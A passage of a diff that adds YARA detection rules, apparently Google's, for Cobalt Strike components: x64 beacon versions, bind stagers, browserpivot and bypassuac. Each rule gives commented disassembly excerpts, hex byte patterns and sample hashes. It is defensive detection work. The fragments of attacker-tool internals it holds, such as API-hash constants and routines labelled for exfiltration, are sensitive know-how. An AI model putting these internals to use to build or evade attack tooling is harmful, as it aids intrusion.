+    */
+
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_7
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.7"
+    hash =  "81296a65a24c0f6f22208b0d29e7bb803569746ce562e2fa0d623183a8bcca60"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "27fad98a-2882-5c52-af6e-c7dcf5559624"
+  strings:
+    /*
+      48 89 5C 24 08    mov     [rsp+arg_0], rbx
+      57                push    rdi
+      48 83 EC 20       sub     rsp, 20h
+      41 8B D8          mov     ebx, r8d
+      48 8B FA          mov     rdi, rdx
+      83 F9 28          cmp     ecx, 28h ; '('
+      0F 87 7F 03 00 00 ja      loc_18000D148
+      0F 84 67 03 00 00 jz      loc_18000D136
+      83 F9 15          cmp     ecx, 15h
+      0F 87 DB 01 00 00 ja      loc_18000CFB3
+      0F 84 BF 01 00 00 jz      loc_18000CF9D
+    */
+
+    $version_sig = { 48 89 5C 24 08 57 48 83 EC 20 41 8B D8 48 8B FA 83 F9 28
+                     0F 87 7F 03 00 00 0F 84 67 03 00 00 83 F9 15
+                     0F 87 DB 01 00 00 0F 84 BF 01 00 00 }
+
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_180016ECA
+    */
+
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_8
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.8"
+    hash =  "547d44669dba97a32cb9e95cfb8d3cd278e00599e6a11080df1a9d09226f33ae"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "89809d81-9a8b-5cf3-a251-689bf52e98e0"
+  strings:
+    /*
+      8B D3          mov     edx, ebx
+      48 8B CF       mov     rcx, rdi
+      E8 7A 52 00 00 call    sub_18001269C
+      EB 0D          jmp     short loc_18000D431
+      45 33 C0       xor     r8d, r8d
+      8B D3          mov     edx, ebx
+      48 8B CF       mov     rcx, rdi; Src
+      E8 8F 55 00 00 call    sub_1800129C0
+    */
+
+    $version_sig = { 8B D3 48 8B CF E8 7A 52 00 00 EB 0D 45 33 C0 8B D3 48 8B CF
+                     E8 8F 55 00 00 }
+    
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_18001772E
+    */
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_11
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.11 (two subversions)"
+    hash =  "64007e104dddb6b5d5153399d850f1e1f1720d222bed19a26d0b1c500a675b1a"
+    rs2 = "815f313e0835e7fdf4a6d93f2774cf642012fd21ce870c48ff489555012e0047"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "bf0c7661-2583-5fca-beb5-abb2b50c860d"
+  strings:
+	
+    /*
+      48 83 EC 20       sub     rsp, 20h
+      41 8B D8          mov     ebx, r8d
+      48 8B FA          mov     rdi, rdx
+      83 F9 2D          cmp     ecx, 2Dh ; '-'
+      0F 87 B2 03 00 00 ja      loc_18000D1EF
+      0F 84 90 03 00 00 jz      loc_18000D1D3
+      83 F9 17          cmp     ecx, 17h
+      0F 87 F8 01 00 00 ja      loc_18000D044
+      0F 84 DC 01 00 00 jz      loc_18000D02E
+      83 F9 0E          cmp     ecx, 0Eh
+      0F 87 F9 00 00 00 ja      loc_18000CF54
+      0F 84 DD 00 00 00 jz      loc_18000CF3E
+      FF C9             dec     ecx
+      0F 84 C0 00 00 00 jz      loc_18000CF29
+      83 E9 02          sub     ecx, 2
+      0F 84 A6 00 00 00 jz      loc_18000CF18
+      FF C9             dec     ecx
+    */
+
+    $version_sig = { 48 83 EC 20 41 8B D8 48 8B FA 83 F9 2D 0F 87 B2 03 00 00
+                     0F 84 90 03 00 00 83 F9 17 0F 87 F8 01 00 00
+                     0F 84 DC 01 00 00 83 F9 0E 0F 87 F9 00 00 00
+                     0F 84 DD 00 00 00 FF C9 0F 84 C0 00 00 00 83 E9 02
+                     0F 84 A6 00 00 00 FF C9 }
+    
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_180017DCA
+    */
+
+    $decoder = {
+      80 34 28 ?? 
+      48 FF C0
+      48 3D 00 10 00 00
+      7C F1
+    }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_12
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.12"
+    hash =  "8a28b7a7e32ace2c52c582d0076939d4f10f41f4e5fa82551e7cc8bdbcd77ebc"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "6eeae9f4-96e0-5a98-a8dc-779c916cd968"
+  strings:
+    /*
+      8B D3          mov     edx, ebx
+      48 8B CF       mov     rcx, rdi
+      E8 F8 2E 00 00 call    sub_180010384
+      EB 16          jmp     short loc_18000D4A4
+      8B D3          mov     edx, ebx
+      48 8B CF       mov     rcx, rdi
+      E8 00 5C 00 00 call    f_OTH__Command_75
+      EB 0A          jmp     short loc_18000D4A4
+      8B D3          mov     edx, ebx
+      48 8B CF       mov     rcx, rdi
+      E8 64 4F 00 00 call    f_OTH__Command_74
+    */
+    $version_sig = { 8B D3 48 8B CF E8 F8 2E 00 00 EB 16 8B D3 48 8B CF
+                     E8 00 5C 00 00 EB 0A 8B D3 48 8B CF E8 64 4F 00 00 }
+    
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_180018205
+    */
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+
+rule CobaltStrike_Resources_Beacon_x64_v3_13
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.13"
+    hash =  "945e10dcd57ba23763481981c6035e0d0427f1d3ba71e75decd94b93f050538e"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "202eb8ea-7afb-515b-9306-67514abf5e55"
+  strings:
+    /*
+      48 8D 0D 01 5B FF FF lea     rcx, f_NET__ExfiltrateData
+      48 83 C4 28          add     rsp, 28h
+      E9 A8 54 FF FF       jmp     f_OTH__Command_85
+      8B D0                mov     edx, eax
+      49 8B CA             mov     rcx, r10; lpSrc
+      E8 22 55 FF FF       call    f_OTH__Command_84
+    */
+
+    $version_sig = { 48 8D 0D 01 5B FF FF 48 83 C4 28 E9 A8 54 FF FF 8B D0
+                     49 8B CA E8 22 55 FF FF }
+      
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_180018C01
+    */
+
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Resources_Beacon_x64_v3_14
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 3.14"
+    hash =  "297a8658aaa4a76599a7b79cb0da5b8aa573dd26c9e2c8f071e591200cf30c93"
+    rs2 = "39b9040e3dcd1421a36e02df78fe031cbdd2fb1a9083260b8aedea7c2bc406bf"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "d69171e3-86f4-5187-8874-5eee2045f746"
+  strings:
+
+    /*
+      8B D0          mov     edx, eax
+      49 8B CA       mov     rcx, r10; Src
+      48 83 C4 28    add     rsp, 28h
+      E9 B1 1F 00 00 jmp     f_OTH__Command_69
+      8B D0          mov     edx, eax
+      49 8B CA       mov     rcx, r10; Source
+      48 83 C4 28    add     rsp, 28h
+    */
+
+    $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 B1 1F 00 00 8B D0 49 8B CA
+                     48 83 C4 28 }
+    
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 69h
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_1800196BD
+    */
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+
+rule CobaltStrike_Sleeve_Beacon_Dll_x86_v4_0_suspected
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.0 (suspected, not confirmed)"
+    hash =  "55aa2b534fcedc92bb3da54827d0daaa23ece0f02a10eb08f5b5247caaa63a73"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "28a735c4-87d1-5e14-9379-46a6fd0cdd2a"
+  strings:
+    /*
+      41 B8 01 00 00 00    mov     r8d, 1
+      8B D0                mov     edx, eax
+      49 8B CA             mov     rcx, r10
+      48 83 C4 28          add     rsp, 28h
+      E9 D1 B3 FF FF       jmp     sub_180010C5C
+      8B D0                mov     edx, eax
+      49 8B CA             mov     rcx, r10
+      48 83 C4 28          add     rsp, 28h
+      E9 AF F5 FF FF       jmp     f_UNK__Command_92__ChangeFlag
+      45 33 C0             xor     r8d, r8d
+      4C 8D 0D 8D 70 FF FF lea     r9, sub_18000C930
+      8B D0                mov     edx, eax
+      49 8B CA             mov     rcx, r10
+      E8 9B B0 FF FF       call    f_OTH__Command_91__WrapInjection
+    */
+
+    $version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 D1 B3 FF FF
+                     8B D0 49 8B CA 48 83 C4 28 E9 AF F5 FF FF 45 33 C0
+                     4C 8D 0D 8D 70 FF FF 8B D0 49 8B CA E8 9B B0 FF FF }
+
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+    
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_Beacon_x64_v4_1_and_v_4_2
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.1 and 4.2"
+    hash =  "29ec171300e8d2dad2e1ca2b77912caf0d5f9d1b633a81bb6534acb20a1574b2"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "dc320d17-98fc-5df3-ba05-4d134129317e"
+  strings:
+    /*
+      83 F9 34          cmp     ecx, 34h ; '4'
+      0F 87 8E 03 00 00 ja      loc_180016259
+      0F 84 7A 03 00 00 jz      loc_18001624B
+      83 F9 1C          cmp     ecx, 1Ch
+      0F 87 E6 01 00 00 ja      loc_1800160C0
+      0F 84 D7 01 00 00 jz      loc_1800160B7
+      83 F9 0E          cmp     ecx, 0Eh
+      0F 87 E9 00 00 00 ja      loc_180015FD2
+      0F 84 CE 00 00 00 jz      loc_180015FBD
+      FF C9             dec     ecx
+      0F 84 B8 00 00 00 jz      loc_180015FAF
+      83 E9 02          sub     ecx, 2
+      0F 84 9F 00 00 00 jz      loc_180015F9F
+      FF C9             dec     ecx
+    */
+
+    $version_sig = { 83 F9 34 0F 87 8E 03 00 00 0F 84 7A 03 00 00 83 F9 1C 0F 87 E6 01 00 00
+                     0F 84 D7 01 00 00 83 F9 0E 0F 87 E9 00 00 00 0F 84 CE 00 00 00 FF C9
+                     0F 84 B8 00 00 00 83 E9 02 0F 84 9F 00 00 00 FF C9 }
+
+
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_Beacon_x64_v4_3
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Version 4.3"
+    hash =  "3ac9c3525caa29981775bddec43d686c0e855271f23731c376ba48761c27fa3d"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "572616c7-d1ec-5aa1-b142-4f2edf73737f"
+  strings:
+  
+    /*
+      8B D0                mov     edx, eax
+      49 8B CA             mov     rcx, r10; Source
+      48 83 C4 28          add     rsp, 28h
+      E9 D3 88 FF FF       jmp     f_OTH__CommandAbove_10
+      4C 8D 05 84 6E FF FF lea     r8, f_NET__ExfiltrateData
+      8B D0                mov     edx, eax
+      49 8B CA             mov     rcx, r10
+      48 83 C4 28          add     rsp, 28h
+    */
+
+    $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 D3 88 FF FF
+                     4C 8D 05 84 6E FF FF 8B D0 49 8B CA 48 83 C4 28 }
+  
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 2Eh
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_1800186E1
+    */
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+
+rule CobaltStrike_Sleeve_Beacon_x64_v4_4_v_4_5_and_v4_6
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.4 through at least 4.6"
+    hash = "3280fec57b7ca94fd2bdb5a4ea1c7e648f565ac077152c5a81469030ccf6ab44"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+
+    id = "79b6bfd4-1e45-5bd9-ac5c-19eb176ce698"
+  strings:
+    /*
+      8B D0                mov     edx, eax
+      49 8B CA             mov     rcx, r10; Source
+      48 83 C4 28          add     rsp, 28h
+      E9 83 88 FF FF       jmp     f_OTH__CommandAbove_10
+      4C 8D 05 A4 6D FF FF lea     r8, f_NET__ExfiltrateData
+      8B D0                mov     edx, eax
+      49 8B CA             mov     rcx, r10
+      48 83 C4 28          add     rsp, 28h
+    */
+
+    $version_sig = { 8B D0 49 8B CA 48 83 C4 28 E9 83 88 FF FF
+                     4C 8D 05 A4 6D FF FF 8B D0 49 8B CA 48 83 C4 28 }
+
+    /*
+      80 34 28 2E       xor     byte ptr [rax+rbp], 2Eh
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_1800184D9
+    */
+
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+
+  condition:
+    all of them
+}
+
+rule CobaltStrike_Sleeve_Beacon_x64_v4_5_variant
+{
+  meta:
+    description = "Cobalt Strike's sleeve/beacon.x64.dll Versions 4.5 (variant)"
+    hash =  "8f0da7a45945b630cd0dfb5661036e365dcdccd085bc6cff2abeec6f4c9f1035"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+    
+    id = "45715da9-8f16-5304-b216-1ca36c508c77"
+  strings:
+    /*
+      41 B8 01 00 00 00 mov     r8d, 1
+      8B D0             mov     edx, eax
+      49 8B CA          mov     rcx, r10
+      48 83 C4 28       add     rsp, 28h
+      E9 E8 AB FF FF    jmp     sub_1800115A4
+      8B D0             mov     edx, eax
+      49 8B CA          mov     rcx, r10
+      E8 1A EB FF FF    call    f_UNK__Command_92__ChangeFlag
+      48 83 C4 28       add     rsp, 28h
+    */
+    $version_sig = { 41 B8 01 00 00 00 8B D0 49 8B CA 48 83 C4 28 E9 E8 AB FF FF
+                     8B D0 49 8B CA E8 1A EB FF FF 48 83 C4 28 }
+
+    /*
+      80 34 28 ??       xor     byte ptr [rax+rbp], 2Eh
+      48 FF C0          inc     rax
+      48 3D 00 10 00 00 cmp     rax, 1000h
+      7C F1             jl      short loc_180018E1F
+    */
+
+    $decoder = { 80 34 28 ?? 48 FF C0 48 3D 00 10 00 00 7C F1 }
+    
+  condition:
+    all of them
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Bind64_Bin_v2_5_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/bind64.bin signature for versions v2.5 to v4.x"
+		hash =  "5dd136f5674f66363ea6463fd315e06690d6cb10e3cc516f2d378df63382955d"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "a01e7bc3-40e9-5f87-8fd6-926972be273b"
+	strings:
+	/*
+		48 31 C0       xor     rax, rax
+		AC             lodsb
+		41 C1 C9 0D    ror     r9d, 0Dh
+		41 01 C1       add     r9d, eax
+		38 E0          cmp     al, ah
+		75 F1          jnz     short loc_100000000000007D
+		4C 03 4C 24 08 add     r9, [rsp+40h+var_38]
+		45 39 D1       cmp     r9d, r10d
+		75 D8          jnz     short loc_100000000000006E
+		58             pop     rax
+		44 8B 40 24    mov     r8d, [rax+24h]
+		49 01 D0       add     r8, rdx
+		66 41 8B 0C 48 mov     cx, [r8+rcx*2]
+		44 8B 40 1C    mov     r8d, [rax+1Ch]
+		49 01 D0       add     r8, rdx
+		41 8B 04 88    mov     eax, [r8+rcx*4]
+		48 01 D0       add     rax, rdx
+	*/
+
+	$apiLocator = {
+			48 [2]
+			AC
+			41 [2] 0D
+			41 [2]
+			38 ??
+			75 ??
+			4C [4]
+			45 [2]
+			75 ??
+			5?
+			44 [2] 24
+			49 [2]
+			66 [4]
+			44 [2] 1C
+			49 [2]
+			41 [3]
+			48 
+		}
+
+
+  // the signature for reverse64 and bind really differ slightly, here we are using the inclusion of additional calls
+  // found in bind64 to differentate between this and reverse64
+  // Note that we can reasonably assume that the constants being passed to the call rbp will be just that, constant,
+  // since we are triggering on the API hasher. If that hasher is unchanged, then the hashes we look for should be
+  // unchanged. This means we can use these values as anchors in our signature.
+	/*
+		41 BA C2 DB 37 67 mov     r10d, bind
+		FF D5             call    rbp
+		48 31 D2          xor     rdx, rdx
+		48 89 F9          mov     rcx, rdi
+		41 BA B7 E9 38 FF mov     r10d, listen
+		FF D5             call    rbp
+		4D 31 C0          xor     r8, r8
+		48 31 D2          xor     rdx, rdx
+		48 89 F9          mov     rcx, rdi
+		41 BA 74 EC 3B E1 mov     r10d, accept
+		FF D5             call    rbp
+		48 89 F9          mov     rcx, rdi
+		48 89 C7          mov     rdi, rax
+		41 BA 75 6E 4D 61 mov     r10d, closesocket
+	*/
+
+	$calls = {
+			41 BA C2 DB 37 67
+			FF D5
+			48 [2]
+			48 [2]
+			41 BA B7 E9 38 FF
+			FF D5
+			4D [2]
+			48 [2]
+			48 [2]
+			41 BA 74 EC 3B E1
+			FF D5
+			48 [2]
+			48 [2]
+			41 BA 75 6E 4D 61
+		}
+		
+	condition:
+		$apiLocator and $calls
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Bind_Bin_v2_5_through_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/bind.bin signature for versions 2.5 to 4.x"
+		hash =  "3727542c0e3c2bf35cacc9e023d1b2d4a1e9e86ee5c62ee5b66184f46ca126d1"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "32f129c1-9845-5843-9e16-7d9af217b8e2"
+	strings:
+	/*
+		31 ??     xor     eax, eax
+		AC        lodsb
+		C1 ?? 0D  ror     edi, 0Dh
+		01 ??     add     edi, eax
+		38 ??     cmp     al, ah
+		75 ??     jnz     short loc_10000054
+		03 [2]    add     edi, [ebp-8]
+		3B [2]    cmp     edi, [ebp+24h]
+		75 ??     jnz     short loc_1000004A
+		5?        pop     eax
+		8B ?? 24  mov     ebx, [eax+24h]
+		01 ??     add     ebx, edx
+		66 8B [2] mov     cx, [ebx+ecx*2]
+		8B ?? 1C  mov     ebx, [eax+1Ch]
+		01 ??     add     ebx, edx
+		8B ?? 8B  mov     eax, [ebx+ecx*4]
+		01 ??     add     eax, edx
+		89 [3]    mov     [esp+28h+var_4], eax
+		5?        pop     ebx
+		5?        pop     ebx
+	*/
+
+	$apiLocator = {
+			31 ?? 
+			AC
+			C1 ?? 0D 
+			01 ?? 
+			38 ?? 
+			75 ?? 
+			03 [2]
+			3B [2]
+			75 ?? 
+			5? 
+			8B ?? 24 
+			01 ?? 
+			66 8B [2]
+			8B ?? 1C 
+			01 ?? 
+			8B ?? 8B 
+			01 ?? 
+			89 [3]
+			5? 
+			5? 
+		}
+
+    // the signature for the stagers overlap significantly. Looking for bind.bin specific bytes helps delineate sample types
+	/*
+		5D             pop     ebp
+		68 33 32 00 00 push    '23'
+		68 77 73 32 5F push    '_2sw'
+	*/
+
+	$ws2_32 = {
+			5D
+			68 33 32 00 00
+			68 77 73 32 5F
+		}
+
+  // bind.bin, unlike reverse.bin, listens for incoming connections. Using the API hashes for listen and accept is a solid
+  // approach to finding bind.bin specific samples
+	/*
+		5?             push    ebx
+		5?             push    edi
+		68 B7 E9 38 FF push    listen
+		FF ??          call    ebp
+		5?             push    ebx
+		5?             push    ebx
+		5?             push    edi
+		68 74 EC 3B E1 push    accept
+	*/
+	$listenaccept = {
+			5? 
+			5? 
+			68 B7 E9 38 FF
+			FF ?? 
+			5? 
+			5? 
+			5? 
+			68 74 EC 3B E1
+		}
+	
+	condition:
+		$apiLocator and $ws2_32 and $listenaccept
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule  CobaltStrike__Resources_Browserpivot_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_Dll_v4_0_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/browserpivot.bin from v1.48 to v3.14 and sleeve/browserpivot.dll from v4.0 to at least v4.4"
+		hash =  "12af9f5a7e9bfc49c82a33d38437e2f3f601639afbcdc9be264d3a8d84fd5539"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "55086544-6684-526b-914f-505a562be458"
+	strings:
+	/*
+		FF [1-5]        call    ds:recv               // earlier versions (v1.x to 2.x) this is CALL EBP
+		83 ?? FF        cmp     eax, 0FFFFFFFFh
+		74 ??           jz      short loc_100020D5
+		85 C0           test    eax, eax
+		(74  | 76) ??   jz      short loc_100020D5    // earlier versions (v1.x to 2.x) used jbe (76) here
+		03 ??           add     esi, eax
+		83 ?? 02        cmp     esi, 2
+		72 ??           jb      short loc_100020D1
+		80 ?? 3E FF 0A  cmp     byte ptr [esi+edi-1], 0Ah
+		75 ??           jnz     short loc_100020D1
+		80 ?? 3E FE 0D  cmp     byte ptr [esi+edi-2], 0Dh
+	*/
+
+	$socket_recv = {
+			FF [1-5]
+			83 ?? FF 
+			74 ?? 
+			85 C0
+			(74 | 76) ?? 
+			03 ?? 
+			83 ?? 02 
+			72 ?? 
+			80 ?? 3E FF 0A 
+			75 ?? 
+			80 ?? 3E FE 0D 
+		}
+		
+  // distinctive regex (sscanf) format string
+  $fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]"
+
+	condition:
+		all of them
+}/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Browserpivot_x64_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_x64_Dll_v4_0_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/browserpivot.x64.bin from v1.48 to v3.14 and sleeve/browserpivot.x64.dll from v4.0 to at least v4.4"
+		hash =  "0ad32bc4fbf3189e897805cec0acd68326d9c6f714c543bafb9bc40f7ac63f55"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "a5dfae85-ff9c-5ca5-9ac0-041c6108a6ed"
+	strings:
+	/*
+		FF 15 [4]         call    cs:recv
+		83 ?? FF          cmp     eax, 0FFFFFFFFh
+		74 ??             jz      short loc_1800018FB
+		85 ??             test    eax, eax
+		74 ??             jz      short loc_1800018FB
+		03 ??             add     ebx, eax
+		83 ?? 02          cmp     ebx, 2
+		72 ??             jb      short loc_1800018F7
+		8D ?? FF          lea     eax, [rbx-1]
+		80 [2] 0A         cmp     byte ptr [rax+rdi], 0Ah
+		75 ??             jnz     short loc_1800018F7
+		8D ?? FE          lea     eax, [rbx-2]
+		80 [2] 0D         cmp     byte ptr [rax+rdi], 0Dh
+	*/
+
+	$socket_recv = {
+			FF 15 [4]
+			83 ?? FF
+			74 ??
+			85 ??
+			74 ??
+			03 ??
+			83 ?? 02
+			72 ??
+			8D ?? FF
+			80 [2] 0A
+			75 ??
+			8D ?? FE
+			80 [2] 0D
+		}
+
+  // distinctive regex (sscanf) format string
+  $fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]"
+		
+	condition:
+		all of them
+}
+/*
+ * Copyright 2022 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+rule CobaltStrike_Resources_Bypassuac_Dll_v1_49_to_v3_14_and_Sleeve_Bypassuac_Dll_v4_0_to_v4_x
+{
+	meta:
+		description = "Cobalt Strike's resources/bypassuac(-x86).dll from v1.49 to v3.14 (32-bit version) and sleeve/bypassuac.dll from v4.0 to at least v4.4"
+		hash =  "91d12e1d09a642feedee5da966e1c15a2c5aea90c79ac796e267053e466df365"
+		author = "gssincla@google.com"
+		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
+		date = "2022-11-18"
+		
+		id = "614046b5-cf81-56a5-8824-b3a7e14a8ed5"
+	strings:
+	/*
+		A1 [4]    mov     eax, fileop
+		6A 00     push    0
+		8B ??     mov     ecx, [eax]
+		5?        push    edx
+		5?        push    eax
+		FF ?? 48  call    dword ptr [ecx+48h]
+		85 ??     test    eax, eax
+		75 ??     jnz     short loc_10001177
+		A1 [4]    mov     eax, fileop
+		5?        push    eax
+		8B ??     mov     ecx, [eax]
+		FF ?? 54  call    dword ptr [ecx+54h]
+	*/
+
+	$deleteFileCOM = {
+			A1 [4]
+			6A 00
+			8B ?? 
+			5? 
+			5? 
+			FF ?? 48 
+			85 ?? 
+			75 ?? 
+			A1 [4]
+			5? 
+			8B ?? 
+			FF ?? 54 
+		}
